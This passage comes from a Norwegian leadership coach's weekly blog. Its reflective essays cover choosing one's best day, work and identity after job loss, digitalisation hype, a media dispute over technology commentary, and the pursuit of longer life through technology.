v\u00e6re, og som dine medarbeidere, kolleger og ledere trenger at du er.\n\n\n\n## Din beste dag\n\n11 kommentarer\n\n**Hvis du kunne velge en dag fra livet og leve den en gang til, hvilken dag ville det v\u00e6rt?**\n\nDet sp\u00f8rsm\u00e5let stilte Olof R\u00f6hlander mottakerne av sin \u00abTermos i gryningen\u00bb forleden uke. Olof er en svensk foredragsholder og forfatter som hver mandag deler sine refleksjoner. Jeg varmer meg ofte p\u00e5 de korte, lette og inspirerende epistlene.\n\nHan viste til et teaterstykke av Thornton Wilder, \u00abOur town\u00bb, som fikk Pulitzer-prisen for beste drama i 1938. Emily, en av karakterene, d\u00f8r, men f\u00e5r vende tilbake til jorden for \u00e5 gjenoppleve sin beste dag. Hun m\u00e5 velge, og velger sin 12-\u00e5rsdag.\n\n\u00abHvilken dag ville *du* valgt?\u00bb, sp\u00f8r Olof.\n\nSelv ville jeg valgt dagen i dag. Jeg liker best de blanke, ulevde dagene, ikke gamle repriser.\n\nDessuten husker jeg ikke s\u00e5 godt fortiden. Jeg husker fremtiden bedre.\n\nOg uansett s\u00e5 leves livet i n\u00e5tiden.\n\nAv en eller annen grunn fikk dette meg til \u00e5 tenke p\u00e5 historien om den superoptimistiske Michael.\n\nN\u00e5r noen sp\u00f8r Michael hvordan han har det svarer han at \u00abhvis jeg skulle hatt det bedre n\u00e5 m\u00e5tte jeg v\u00e6rt tvilling\u00bb.\n\nHans hemmelighet er \u00e5 gj\u00f8re de rette valgene.\n\n\u00abN\u00e5r jeg v\u00e5kner om morgenen kan jeg velge, vil jeg v\u00e6re i d\u00e5rlig hum\u00f8r, eller godt hum\u00f8r? Jeg velger godt. N\u00e5r noe g\u00e5r galt, kan jeg velge \u00e5 v\u00e6re offer eller en som l\u00e6rer. Jeg velger \u00e5 l\u00e6re.\u00bb\n\nHan vet at du selv velger hvordan du reagerer p\u00e5 enhver situasjon.\n\nN\u00e5r han litt ute i historien faller fra et bygg og nesten d\u00f8r, velger han livet.\n\nN\u00e5r han ser de forferdede ansiktene til legene p\u00e5 akutten skj\u00f8nner han at f\u00f8rstevalget kanskje ikke er helt realistisk.\n\nS\u00e5 han bestemmer seg for at denne gjengen med helsepersonell m\u00e5 motiveres og inspireres litt.\n\nEn sykepleier sp\u00f8r om han har noen allergier.\n\n\u00abJa, jeg er allergisk mot tyngdekraft\u00bb, svarer han.\n\nN\u00e5r den overraskede latteren stilner, legger han til:\n\n\u00abOg dere, jeg velger \u00e5 leve. Operer p\u00e5 meg som om jeg er levende, ikke d\u00f8d.\u00bb\n\nDet er et fint valg. \u00c5 velge \u00e5 leve.\n\nFor hvem vet. Kanskje det er dagen i dag som skal bli din beste dag?\n\nS\u00e5 langt.\n\nGod tirsdag.\n\n(Og du, fortell gjerne\u00a0om din beste dag i kommentarfeltet under.)\n\n#### Kilder og inspirasjon\n\n  - Olof R\u00f6hlander\n  - \u00abOur town\u00bb\n  - Erik Bye: V\u00e5r beste dag\n  - If I were any better \u2026\u00a0\n  - Oppslagsfoto: Lene Damtoft. (Lenes naturfotografier er eksepsjonelle. Se flere av dem her.)\n\nPaal Leveraas er gr\u00fcnder i Leveraas AS, et selskap som jobber med ledere for \u00e5 utvikle trygghet og selvtillit slik at du raskere kan tre inn i rollen som den lederen du \u00f8nsker \u00e5 v\u00e6re, og som dine medarbeidere, kolleger og ledere trenger at du er.\n\n\u00a0\n## Sig\u00f8ynerdronningen, generall\u00f6itnanten og den arbeidsl\u00f8se oljeingeni\u00f8ren\n\n**\u00abUten jobben vet jeg ikke hvem jeg er\u00bb, skrev han. Etter mer enn 20 \u00e5r som ingeni\u00f8r i oljebransjen hadde han mistet jobben. Det han ikke hadde sett komme var at han samtidig mistet mye av identiteten.**\n\nMange kan kjenne seg igjen i f\u00f8lelsen av \u00e5 miste seg selv sammen med jobben. Det handler om hvordan du ser p\u00e5 deg selv, men det handler enda mer om hvordan omverdenen ser p\u00e5 deg.\n\n***Min onkel triller piller p\u00e5 byens apotek. Han er s\u00e5 tynn og trist og blek, og triller hvite piller.***\n\nDa jeg for mange \u00e5r siden sluttet i\u00a0jobben som sjefredakt\u00f8r i Computerworld Norge kjente jeg p\u00e5 det for f\u00f8rste gang. Verden ble stille. Telefonene sluttet \u00e5 ringe.\n\nDet gikk opp for meg at det ikke var meg som person som var interessant, men den rollen jeg hadde.\n\nDet f\u00f8ltes overraskende tomt og rart.\n\nSamtidig ble det et spark bak for \u00e5 gjenoppdage meg selv og hvem jeg *egentlig* er.\n\nAndre har fortalt meg om lignende opplevelser, inkludert **Sigrun V\u00e5geng**, toppsjef i NAV, som jeg intervjuet p\u00e5 vegne av HR Norge for en tid tilbake. Hun fortalte om hvordan det var da hun m\u00e5tte g\u00e5 fra en tidligere topplederstilling. \u00abDa fikk jeg virkelig kjenne p\u00e5 hvordan det er \u00e5 st\u00e5 uten jobb\u00bb, sa hun. \u00abFra den ene dagen til den andre sluttet telefonen \u00e5 ringe. Det ble stille.\u00bb\n\nSigruns strategi var \u00e5 ha avtaler, hver dag. Min strategi var selvsnakking. Jeg fortalte meg selv at \u00abPaal, du er ikke jobben din. Du er ogs\u00e5 far, bror, s\u00f8nn, ektefelle, venn. Du er dine fritidsinteresser, og du er dine ord og handlinger fra dag til dag.\u00bb\n\nJeg ble aldri *helt* overbevist.\n\n\u00abDet er en grunn til at vi p\u00e5 engelsk er *Human beings,* ikke*\u00a0Human *doings\u00bb, var det en som sa til meg en gang.**\n\nLikevel tok jeg meg ikke s\u00e5 mye tid til \u00e5 *v\u00e6re,* men\u00a0skyndte meg videre til ting \u00e5 *gj\u00f8re*.\n\nFor utover din n\u00e6rmeste krets handler det ikke om hvem du *er*, men\u00a0hva du\u00a0*gj\u00f8r.\u00a0*\n\n***Min tante baker kaker i byens bakeri.\u00a0****Hun er s\u00e5 rund og r\u00f8d og blid,\u00a0****og baker bl\u00f8te kaker.***\n\nS\u00f8ndag, dagen f\u00f8r Arbeidets dag, gikk jeg en tur p\u00e5 Vestre gravlund. Det er et vakkert sted, verdighet og harmoni og fred hviler over de tusener som ikke lenger vandrer p\u00e5 jorden.\n\nMens jeg gikk der og leste mellom linjene om levde liv, slo det meg enda en gang hvor viktig nettopp arbeidet var for de d\u00f8de.\n\nKirkeg\u00e5rden er som en tidlig versjon av LinkedIn p\u00e5 stentavler, \u2013 om enn mindre selgende og uten p\u00e5trengende\u00a0*call to action-*knapper.\n\nHer er **siv. ing.** Even Per Aase og der er **fabrikkeier** Harry Normann Johansen. Det er **apoteker** Sverre Th\u00fcrmer med frue og det er **sorenskriver** N. L. Nicolaysen.\n\nJeg fors\u00f8ker \u00e5 forestille meg hvordan livet til *Generall\u00f6itnant Hans Peter L'Orange, F\u00f6dt 8de\u00a0Septbr. 1835, D\u00f6d 31te\u00a0Januar 1907, Chef for Trondhjemske Brigade. Generalstabschef. Kommanderende General \u00a0*og hans kone Alvilde kan ha v\u00e6rt. Eller sig\u00f8ynerdronningen Lola Karoli som har et gravsted en dronning verdig. *\u00abHele verdens sig\u00f8ynerdronning\u00bb*, st\u00e5r det p\u00e5 graven. *Generaldirekt\u00f8r\u00a0Erling Eriksen\u00a0\\* 20-7-1893 \u271d 20-1-1967\u00a0*har en mer diskret tilstedev\u00e6relse.\n\n***Min fetter fanger slanger til byens brannstasjon. Han er en underlig person. Han fanger lange slanger.***\n\nVeldig prangende er heller ikke graven til\u00a0*\u00abPressemannen K\u00e5re Valebrokk\u00bb.* Den skarp-pennede redakt\u00f8ren og angivelig noks\u00e5 frav\u00e6rende familiefaren mente selv de to ordene p\u00e5 graven hans er en grei oppsummering av liv og karri\u00e9re.\n\n\u00abFortsatt savnet\u00bb,\u00a0st\u00e5r det.\n\nSig\u00f8ynerdronningen, generaldirekt\u00f6ren, generall\u00f6itnanten og pressemannens graver forteller meg at de \u00e5penbart hadde et lignende forhold til jobben sin som den arbeidsl\u00f8se oljeingeni\u00f8ren, Sigrun V\u00e5geng, meg selv og kanskje deg.\n\nDeres identitet var sterkt knyttet til jobben, selv i d\u00f8den.\n\n(Og ingen gravstener annonserer at her hviler en arbeidsl\u00f8s, en uf\u00f8retrygdet eller en ME-syk, ei heller en mor, bestemor, s\u00f8nn eller god venn.)\n\n***Men min kusine Line, som f\u00e5r gj\u00f8re hva hun vil, hun gj\u00f8r seg bare til.***\n\nInger Hagerup\n\nI livets teater er jobben for de fleste hovedscenen. Det er den vi inntar hver dag for \u00e5 vise oss frem og spille ut v\u00e5re talenter.\n\nMen din arbeidsgiver er ogs\u00e5 teatersjef og regiss\u00f8r og bestemmer hvem som f\u00e5r skinne og hvem som m\u00e5 forsvinne. N\u00e5r du \u2013 frivillig eller ufrivillig \u2013 g\u00e5r av scenen, f\u00f8lger aldri lyskasterne etter.\n\nMitt r\u00e5d, b\u00e5de til den arbeidsl\u00f8se oljeingeni\u00f8ren og til deg som (fremdeles) f\u00f8ler deg trygg p\u00e5 din rolle og plass i scenesettingen, er \u00e5 bygge alternative scener hvor du selv er teatersjef, regiss\u00f8r og hovedrolleinnehaver.\n\nP\u00e5 \u00e9n slik alternativ scene har du akkurat n\u00e5 lest deg fram til slutten av ukens forestilling.\n\nGod tirsdag.\n\nP.S. Jeg setter stor pris p\u00e5 dine tilbakemeldinger i kommentarfeltet under, p\u00e5 Facebook-siden til Tirsdag morgen, i mail eller via andre kanaler.\n\n#### Kilder og inspirasjon\n\n  - Vestre gravlund\n\nOg en til som Sissel Merete Torvund Nyheim pekte meg til i en kommentar p\u00e5 LinkedIn:\n\n  - Identitet, roller og deg\u00a0\u2013 et blogginnlegg som utdyper noen av mekanismene rundt dette med identitet og jobb.\u00a0Fra innlegget hennes sakser jeg blant annet:\n\n> Henrik E Skaanderup var en h\u00f8yt profilert og ettertraktet bedriftsleder i Danmark. Han mistet jobben over natten, etter eierskifte i virksomheten han ledet. Livet slik han var vant til og selvbildet, gikk gradvis i oppl\u00f8sning som arbeidsledig, hele hans identitet var knyttet opp til rollen som suksessrik bedriftsleder.\u00a0\n\n\u00a0\n\n\n## Digitalis\u00e9r\\! Ellers \u2026\n\n**\u00abDigitaliser eller d\u00f8\\!\u00bb ropes det fra talerstoler, blogger og medier. \u00abJa vel?\u00bb, svarer du. \u00abLa meg tenke litt. Da velger jeg \u2026 jeg velger \u2026 \u00e5 digitalisere\\! Bare fortell meg hvordan jeg gj\u00f8r det.\u00bb**\n\nMen du er\u00a0for sen.\n\nFire foiler for sen.\n\nDu fikk en l\u00f8sning, men uten \u00e5 vite helt hva som er problemet.\n\nMen heldigvis abonnerer\u00a0du p\u00e5 Tirsdag morgen. (Ikke sant?)\n\nDet er liten tvil om at temaet digitalisering opptar flere enn foredragsholdere og media. I den stadig p\u00e5g\u00e5ende leserunders\u00f8kelsen nye (og gjerne gamle) abonnenter av\u00a0ukebrevet mitt f\u00e5r tilsendt, g\u00e5r ordet digitalisering mye igjen i svarene. Mellom linjene leser jeg usikkerhet. For hva betyr det egentlig? Hva gj\u00f8r vi\u00a0med det? Hvilken kompetanse trenger vi, og hvordan f\u00e5r vi den? Vil jeg bli disruptert? Gj\u00f8r det vondt?\n\nUsikkerheten er stor, men ikke ny. For 40 \u00e5r siden het den\u00a0EDB, for 20 \u00e5r siden Web 2.0, og for ti\u00a0\u00e5r siden het den IT.\n\nI dag heter det alts\u00e5 \u00abdigitalisering\u00bb, et ord som i f\u00f8lge\u00a0Store norske leksikon betyr at man\u00a0erstatter manuelle eller fysiske oppgaver med digitale l\u00f8sninger.\n\nIT, alts\u00e5. Eller EDB, om du vil.\n\n\n\nEksponentiell vekst krever nytt utstyr.\n\nMen selv om det kan f\u00f8les som om dette er gammel skitt i ny innpakning,\u00a0s\u00e5 er det visstnok annerledes denne gangen. Grunnen til det er at\u00a0vi har n\u00e5dd et **knekkpunkt**.\n\nSilvija Seres er en av de som beskriver det som ligger foran oss som en stupbratt fjellvegg. Silvija er smart og b\u00f8r lyttes til. Hun\u00a0viser til Moores lov, som i utgangspunktet handlet om hvor mange transistorer du kan f\u00e5 plass til p\u00e5 en chip, men som i ettertid ogs\u00e5 er blitt en beskrivelse p\u00e5 den generelle teknologiske utviklingen. Gordon Moore observerte at det tallet doblet seg hver 24. m\u00e5ned. Det gir oss en eksponentiell vekst.\n\nEn eksponentiell kurve har ikke lang hale, men lang nese. \u00a0Den har en uskyldsaktig adferd i starten, men er egentlig en snikende tiger, visstnok\u00a0fordi vi mennesker tenker line\u00e6rt og ikke helt greier \u00e5 ta inn over oss det eksponentielle. Klassisk er eksempelet med keiseren i Kina som ville bel\u00f8nne en av sine unders\u00e5tter, og spurte hva han ville ha. \u00abIkke stort. Et riskorn i den f\u00f8rste ruta p\u00e5 dette sjakkbrettet, og dobbelt s\u00e5 mange i det neste inntil alle de 64 rutene er fylt\u00bb, svarte luringen, tilsynelatende beskjedent.\n\nMen en slik bel\u00f8nning ville kostet keiseren all ris i landet.\n\nOg dette skjer alts\u00e5 n\u00e5 i en dings p\u00e5 deg, omkring deg, og snart inni deg. Vi har kommet til rute 50 p\u00e5 sjakkbrettet, eller mer, og det fortsetter.\n\nSom samfunn er vi bokstavelig talt i ferd med \u00e5 m\u00f8te veggen. En vegg av stadig mer avansert teknologi. \u00a0Surfingen er over, n\u00e5 skal vi klatre. Surfebrett egner seg ikke til fjellklatring, og heller ikke det som har fungert greit for samfunnet v\u00e5rt til i dag vil virke i fremtiden.\n\nSlik st\u00e5r det skrevet, og slik blir det sagt, Mange kloke hoder og sterke r\u00f8ster understreker at denne gangen\u00a0er\u00a0det alvor. Virkelig alvor. Fra Regjeringens Industrimelding til World Economic Forum signaliseres det dramatiske endringer fremover. Alle de store konsulentvirksomhetene, som Accenture, Deloitte, PwC, Gartner stemmer i.\n\nKonsekvensene skal bli store.\n\nNoen snakker om voksende arbeidsl\u00f8shet.\u00a0At selv om antallet ledige jobber \u00f8ker, s\u00e5 g\u00e5r antallet ansettelser ned, fordi de som leter ikke finner den rette kompetansen. Andre snakker om at vi m\u00e5 reorganisere\u00a0virksomheter, skoler, samfunn, alt. Noen hevder at ledere m\u00e5 v\u00e6re digitalt f\u00f8dte\u00a0(uten at jeg helt kan se for meg hvordan slike f\u00f8dsler g\u00e5r til) og tilegne seg helt nye lederegenskaper. Det snakkes om ulike virkeligheter, b\u00e5de utvidelser av de vi har, og virtuelle fantasivirkeligheter. Og vi skal printe alt vi trenger, fra nye kroppsdeler til passasjerfly, i 3D.\n\nMin favoritt-profet for tiden, Yuval Harari, som var p\u00e5 Skavlan fredag. snakker gjerne om nye klasseskiller, hvor det ikke bare er tilgangen p\u00e5 kapital som skiller oss, men ogs\u00e5 at penger for f\u00f8rste gang vil gi\u00a0de rike\u00a0andre *fysiske* forutsetninger: lengre liv, h\u00f8yere intelligens, kunstige og overlegne kroppsdeler.\n\nTrekker vi noen av klodens smarteste hoder inn i debatten, som Stephen Hawking og Elon Musk, kommer den skumle singulariteten p\u00e5 banen; punktet hvor\u00a0maskinene blir smartere enn menneskene og begynner \u00e5 lage enda smartere maskiner, som lager enda smartere maskiner, som lager \u2026\n\nMen hva betyr alt dette i praktisk hverdag? Hva vil bli annerledes\u00a0for selgeren, sykepleieren, lederen av den lille teknologibedriften? Hva betyr det for butikksjefen, HR-direkt\u00f8ren, r\u00f8rleggeren, hodejegeren, fastlegen, presten, bonden, turistsjefen, r\u00e5dmannen og eiendomsutvikleren?\n\nDeloitte Human Capital Trends 2017\n\nP\u00e5 kort sikt lite. P\u00e5 lang sikt alt. For selv om teknologiens muligheter vokser eksponentielt, s\u00e5 er v\u00e5r evne til \u00e5 nyttiggj\u00f8re oss den betydelig tregere. I\u00a0rapporten \u00abHuman Capital Trends \u2013\u00a0Rewriting the rules for the digital age\u00bb introduserer Deloitte en troverdig modell for hvordan teknologi p\u00e5virker oss. Individuelt er vi raske til \u00e5 ta i bruk nye muligheter. Virksomhetene v\u00e5re er tregere. Aller sist kommer lovgivere og myndigheter for \u00f8vrig.\nTing tar tid, og vil fortsette \u00e5 ta tid s\u00e5 lenge det er mennesker med i verdikjeden.\n\nS\u00e5 sp\u00f8rsm\u00e5let er hvor lenge mennesker fortsetter \u00e5 v\u00e6re mennesker.\u00a0Er det v\u00e5re barn eller v\u00e5re barnebarn som rent\u00a0*faktisk* vil f\u00e5 digitalt f\u00f8dte ledere? Eller\u00a0har vi allerede smeltet sammen med teknologien?\n\n\u00c5 d\u00f8mme etter moren jeg nesten syklet over i g\u00e5r morges, hun som gikk diagonalt over det trafikkerte krysset med to sm\u00e5 barn mens hun ikke et \u00f8yeblikk s\u00e5 opp fra mobilskjermen, s\u00e5 er det ikke mye om \u00e5 gj\u00f8re.\n\nGod tirsdag.\n\n**Kilder og inspirasjon**\n\nPaal Leveraas er gr\u00fcnder i Leveraas AS, et selskap som jobber med ledere for \u00e5 utvikle trygghet og selvtillit slik at du raskere kan tre inn i rollen som den lederen du \u00f8nsker \u00e5 v\u00e6re, og som dine medarbeidere, kolleger og ledere trenger at du er.\n\n## Bloggdrama og dramateknologer Hvorfor Bente Storehaug tar feil, selv om hun har rett\n\n**Jeg intervjuet Margaret Heffernan forleden dag. \u00a0Forfatteren, TED-taleren og eks-teknologi-gr\u00fcnderen delte sine tanker om det voksende behovet for rebeller i arbeidslivet. \u00a0En av hennes b\u00f8ker, \u00abWillfull blindness\u00bb, tar for seg dette med at alle ser, men ingen sier fra. Det er keiserens nye kl\u00e6r overf\u00f8rt til n\u00e6ringslivet.**\n\nIntervjuet med Margaret kan du lese om noen uker, men samtalen med henne kom tilbake til meg da jeg leste **Bente Sollid Storehaug**s krasse angrep p\u00e5 kommentatoren **Eva Grinde,**\u00a0Dagens N\u00e6ringsliv. Bente Storehaug publiserte innlegget p\u00e5 bloggen Digital hverdag p\u00e5 s\u00f8ndag. I skrivende stund g\u00e5r dette bloggdramaet sin seiersgang i sosiale medier. Det er godt og engasjerende\u00a0skrevet.\n\nMen det er noe som ikke stemmer.\n\nEva Grindes kommentar er en harselas med noe som kom i skade for \u00e5 spamme innboksen hennes, noe som kaller seg \u00abSingularity University\u00bb. De skulle nok holdt seg unna. Man k\u00f8dder ikke med Eva Grindes innboks ustraffet. Det singul\u00e6re\u00a0universitetet ble satt noks\u00e5 grundig p\u00e5 plass i spalten til\u00a0den velformulerte kommentatoren.\n\nDet var kanskje ikke det viktigste manifestet i teknologihistorien Eva Grinde\u00a0bidro med her. Men hun gjorde jobben sin, en jobb som sikkert kjennes b\u00e5de sur og utakknemlig i blant, men som er en del av pressens oppgave: V\u00e5ge \u00e5 v\u00e6re uenig. Minne oss om at ikke alt som glimrer er gull. Sp\u00f8rre hvorfor keiseren ikke har kl\u00e6r p\u00e5 seg.\n\nBransjer i vekst\u00a0vil alltid v\u00e6re en magnet for folk som vil selge deg oppskriften p\u00e5 gull uten \u00e5 kunne forklare hvorfor de vil selge den n\u00e5r de kunne lagd gull selv. De Grinde disser er ikke teknologi-innovat\u00f8rene, men opportunistene, \u2013 dramateknologene, om du vil. Finn fram buzzword-generatoren og bytt singularity med Internet of Things, cloud computing, digital divide eller millennials, for bare \u00e5 nevne noen, og artikkelen vil treffe like godt. Eller d\u00e5rlig.\n\nDen trigget likevel et kraftig motangrep fra Bente Storehaug. Hun starter sitt innlegg slik:\n\n*\u00ab\u00c5 kneble eller latterliggj\u00f8re futurister og tidlige innovat\u00f8rer er en gammel hersketeknikk. Metall kan ikke fly, sa skeptikerne. Men flyet kom opp i lufta, og harselasen ble flau \u00e5 b\u00e6re videre. I dag har vi sterke penner som disser teknologi-innovat\u00f8rer. En av disse er Eva Grinde i Dagens N\u00e6ringsliv.\u00bb*\n\n(Eller, mens vi er inne p\u00e5 s\u00f8k-erstatt, p\u00e5 en annen blogg med en annen agenda kunne det st\u00e5tt:\u00a0*\u00ab\u00c5 kneble eller latterliggj\u00f8re journalister\u00a0og kritiske kommentatorer er en gammel hersketeknikk \\[\u2026\\] I dag har vi mektige\u00a0profeter\u00a0som disser teknologi-skeptikere. En av disse er Bente Sollid Storehaug.\u00bb)*\n\nDet er g\u00f8y \u00e5 v\u00e6re profet. Det er g\u00f8y \u00e5 p\u00e5virke, skremme litt, rope ut advarsler som gjengis i krigstyper (helst i tradisjonelle medier, vel og merke). Jeg snakker av erfaring. Jeg har selv v\u00e6rt en dramateknolog. Noen vil sikkert si jeg er det enn\u00e5. 26 august 1996, en knapp uke\u00a0etter at Dagens N\u00e6ringsliv trykket den fam\u00f8se kronikken \u00abInternett en flopp\u00bb (som forfatteren Leif Osvold nok fremdeles gremmer seg over), lanserte mine kolleger og jeg i selskapet Internett Kanal 1 det vi kalte \u00abEuropas f\u00f8rste rendyrkede nettavis\u00bb, digi.no. Det skjedde p\u00e5 en b\u00f8lge av teknologioptimisme, hvor vi profeter\u00a0hevdet at de etablerte mediene ville v\u00e6re ute av dansen i l\u00f8pet av kort tid. Alle ville bli sine egne redakt\u00f8rer. Meningsmonopolene skulle\u00a0falle. Alt ville endres, ingen bransjer ville v\u00e6re up\u00e5virket, spillereglene m\u00e5tte\u00a0skrives p\u00e5 nytt, ingenting ville bli som f\u00f8r.\n\nVi tok feil. Og vi fikk rett.\n\nFor alt vi sp\u00e5dde skjedde. Men ikke s\u00e5 fort.\n\nNoen fordunstede b\u00f8rs-fantasilliarder, et gigantisk dotcom-smell og mer enn 15\u00a0\u00e5rs rehabilitering senere\u00a0ser vi at sp\u00e5dommene fra 90-tallet er i ferd med \u00e5 bli sanne. I dag kjemper politikere, bloggere, medier og folk flest om definisjonsmakt p\u00e5 like vilk\u00e5r p\u00e5\u00a0arenaer eid av Facebook og Google. Menings- og nyhetsmonopolene har falt, og alle er sine egne redakt\u00f8rer. Ingen bransjer st\u00e5r igjen up\u00e5virket.\n\nSlik vi tok feil, men fikk rett, slik tar ogs\u00e5 dagens profeter feil, men\u00a0vil en dag f\u00e5 rett. Mange av dagens sp\u00e5dommer kommer til \u00e5 fullendes. Vi kommer til \u00e5 se at verden endrer seg, alle bransjer vil bli p\u00e5virket og spillereglene m\u00e5 skrives p\u00e5 nytt i det intelligensen blir mer og mer kunstig, algoritmene l\u00f8per i ringer omkring oss p\u00e5 stadig h\u00f8yere niv\u00e5,\u00a0og selveste singulariteten lurer som et monster i det fjerne.\n\nDet kommer til \u00e5 skje, men det kommer ikke til \u00e5 skje s\u00e5 fort.\n\nOg akkurat som det egentlig ikke gjorde s\u00e5 veldig vondt \u00e5 g\u00e5 fra 1997 til 2017, til tross for de enorme endringene, s\u00e5 kommer det ikke til \u00e5 gj\u00f8re s\u00e5 vondt de neste fem, ti, 20 \u00e5rene heller.\n\nMen det som er viktig i slike tider \u2013 og til alle tider \u2013 er at vi i blant oss har nei-folk, rebeller, folk som stiller sp\u00f8rsm\u00e5lstegn ved etablerte sannheter. Vi trenger profeter\u00a0som Bente Storehaug til \u00e5 hjelpe\u00a0oss med \u00e5 f\u00e5 hodet opp i skyene.\u00a0Og vi trenger kaldt-vann-i-blodet-kommentatorer\u00a0som Eva til \u00e5 hjelpe oss med \u00e5 holde f\u00f8ttene p\u00e5 bakken.\n\nVi trenger slike folk i samfunnet, og vi trenger dem blant oss p\u00e5 jobb. Taushet og frivillig eller ufrivillig knebling kan kjennes trygt, men skader helheten, og det skjer overalt. Google skal ha innf\u00f8rt en ny \u00f8nsket egenskap hos folk de rekrutterer: mot til \u00e5 opponere. Det kom inn etter at man forstod at \u00aballe\u00bb, unntatt beslutningstagerne, s\u00e5 Facebook komme, men ingen sa det.\n\nBentes blogginnlegg er i skrivende stund delt *og likt* 1.500 ganger i sosiale medier, og maktbalansen er \u00e5penbart i nye og ikke gamle mediers fav\u00f8r. Det er p\u00e5 \u00e9n m\u00e5te moro \u00e5 se at en blogger og n\u00e6ringslivsleder har mer makt enn en etablert kommentator i et tradisjonelt mediehus.\n\nMen det er noe som ikke stemmer. Noe som uroer meg litt.\n\nOg siden ingen andre sier det, s\u00e5 f\u00e5r jeg si det.\n\nDet krasse angrepet er i all hovedsak et angrep p\u00e5 noe\u00a0som ikke er skrevet, i hvert fall ikke i den omtalte artikkelen.\n\nHva er det buzzword-generatoren kaller s\u00e5nt\u00a0igjen?\n\nFake news?\n\nGod tirsdag.\n\n\u00a0\n#### Kilder og inspirasjon\n\nCoach. Skribent. Foredragsholder. @ Leveraas AS\n\nPaal Leveraas er gr\u00fcnder i Leveraas AS, et selskap som jobber med ledere for \u00e5 utvikle trygghet og selvtillit slik at du raskere kan tre inn i rollen som den lederen du \u00f8nsker \u00e5 v\u00e6re, og som dine medarbeidere, kolleger og ledere trenger at du er.\n\n-----\n\n\n\n## Jakten p\u00e5 evig liv\n\n**Utenfor vinduet p\u00e5 arbeidsrommet er det svart natt. Bare to vinduer i nabog\u00e5rden er opplyste. Mot dem st\u00e5r den svarte silhuetten av den n\u00e5 bladl\u00f8se bj\u00f8rka og spriker med knokkelaktige grener.**\n\nMellom knoklene\u00a0skimter jeg et menneske.\u00a0Et speilbilde. Jeg ser en middelaldrende, gr\u00e5h\u00e5ret mann.\n\nDet er ikke meg.\n\nEller jo, selvsagt er det meg. Men\u00a0utsiden stemmer ikke med innsiden.\u00a0Der er\u00a0fremdeles det meste av livet foran meg, ikke bak meg. Det bildet stemmer d\u00e5rlig overens med hva\u00a0jeg ser\u00a0utenfor vinduet mitt.\n\nDet er patetisk, jeg vet det. En kamp mot vindm\u00f8ller. En dr\u00f8m om evig ungdom.\n\nOg jeg viderebringer en sterk tradisjon. For slik har menn, og sikkert kvinner ogs\u00e5, sittet i \u00e5rtusener og fundert over\u00a0livet og d\u00f8dens problem.\n\nMen der generasjonene f\u00f8r oss ub\u00f8nnh\u00f8rlig m\u00e5tte d\u00f8, skimtes\u00a0det for v\u00e5r generasjon et svakt, blafrende lys i enden av tunnelen.\u00a0For f\u00f8rste gang i menneskehetens historie ser vi konturene av en l\u00f8sning p\u00e5 d\u00f8dens problem. Det er ikke usannsynlig at mange av oss\u00a0som lever i dag kan forlenge livet dramatisk ved hjelp av teknologi.\n\nS\u00e5 i v\u00e5r tid er det grunn til \u00e5\u00a0tenke gjennom d\u00f8dens problem en gang til.\n\nEn av de som har gjort det er **Yuval Noah Harari.**\u00a0I essayet \u00abThe War against Death\u00bb\u00a0fra boken \u00abSapiens: A brief history of Mankind\u00bb\u00a0skriver han:\u00a0\u00abAv alle menneskehetens tilsynelatende ul\u00f8selige problemer, er et av de mest pirrende, interessante og viktige problemet med d\u00f8den selv.\u00bb\n\nF\u00f8r v\u00e5r moderne tid var d\u00f8den et religi\u00f8st fenomen, v\u00e5r uunng\u00e5elige skjebne som selve livet kretset rundt. D\u00f8den var den viktigste kilden til \u00e5 finne meningen med livet.\n\nHarari bruker Gilgamesh-myten som bakteppe for noen av sine betraktninger. Gilgamesh reiste til verdens ende i jakten p\u00e5 evig liv. I underverdenen l\u00e6rte han at gudene hadde skapt d\u00f8den som en endelig grense for mennesker. Det er deres endelige skjebne, og hver enkelt m\u00e5 l\u00e6re \u00e5 leve med det.\n\nS\u00e5 vi l\u00e6rte \u00e5 leve med d\u00f8den. V\u00e5re beste hoder gjennom \u00e5rhundrer har ikke beskjeftiget seg med \u00e5 bekjempe d\u00f8den, men \u00e5 finne meningen med den.\n\n#### \u00abAv alle menneskehetens tilsynelatende ul\u00f8selige problemer, er et av de mest pirrende, interessante og viktige problemet med d\u00f8den selv.\u00bb\n\nInntil n\u00e5.\n\nI dag bruker noen av planetens beste hoder sine intellektuelle ressurser til \u00e5 fravriste d\u00f8den sine hemmeligheter, slik at den kan bekjempes eller i det minste holdes tilbake. Og pengene str\u00f8mmer p\u00e5 fra patetiske aldrende milliard\u00e6rer\u00a0som kanskje selv har sittet\u00a0b\u00f8yd over en datamaskin, dypt rystet etter \u00e5 ha f\u00e5tt et glimt av speilbildet i vinduet.\n\nSom Sergey Brin, en av Googles grundere, som har som m\u00e5l \u00e5 kurere d\u00f8d. Eller\u00a0Peter Thiel, Paypal-grunderen, som har uttalt at han vil bli 120 \u00e5r gammel og legger pengene sine inn i oppstartselskap som kanskje kan hjelpe ham med det. Eller\u00a0Bill Maris, enda en Google-milliard\u00e6r, som mener at det er fullt mulig \u00e5 leve i 500 \u00e5r. Eller den mest ekstreme av dem alle, Dmitry Itskov, en russisk entrepren\u00f8r som planlegger \u00e5 leve i 10.000 \u00e5r.\n\nPengene og dedikasjonen til de som eier dem gir resultater. Det kan hende vi kan l\u00f8se det tekniske problemet. Og n\u00e5r det er l\u00f8st, f\u00e5r vi antagelig noen nye problemer. Hararis oppf\u00f8lger til Sapiens, \u00abHomo Deus: A brief history of Tomorrow\u00bb, l\u00f8fter fram\u00a0noen av dem.\n\nEt av dem er hvordan v\u00e5r sosiale strukturer p\u00e5virkes n\u00e5r tipp-tipp-tipp-tippoldefar lever side om side med sine etterkommere i mange generasjoner.\n\nEt annet er hvordan ulikheter vil eskalere n\u00e5r de som har penger nok kan kj\u00f8pe seg evig liv, mens resten m\u00e5 d\u00f8 av sykdom og alderdom.\n\nEt tredje er i forlengelsen av de livsforlengende teknologiene: kan vi\u00a0utvikle teknologi som forbedrer eller erstatter basale funksjoner, som lever, nyrer og lunger, kan vi snart bygge teknologi som gj\u00f8r oss supersmarte ogs\u00e5.\u00a0Men igjen, f\u00f8rst og fremst for de som har penger. Vil\u00a0en ny art overta jorden, et gudelignende supermenneske? En Homo Deus?\n\nOg dette er selvsagt bare begynnelsen. Fremtiden er skummel og l\u00f8fterik. Det kan g\u00e5 veldig galt og det kan g\u00e5 veldig bra. Eller begge deler. Helst begge deler.\n\nTankefull\u00a0l\u00f8fter jeg igjen blikket mot bj\u00f8rkeknoklene utenfor vinduet.\n\nJeg smiler til gamlingen der ute.\n\n\u00abDet ordner seg\u00bb, hvisker 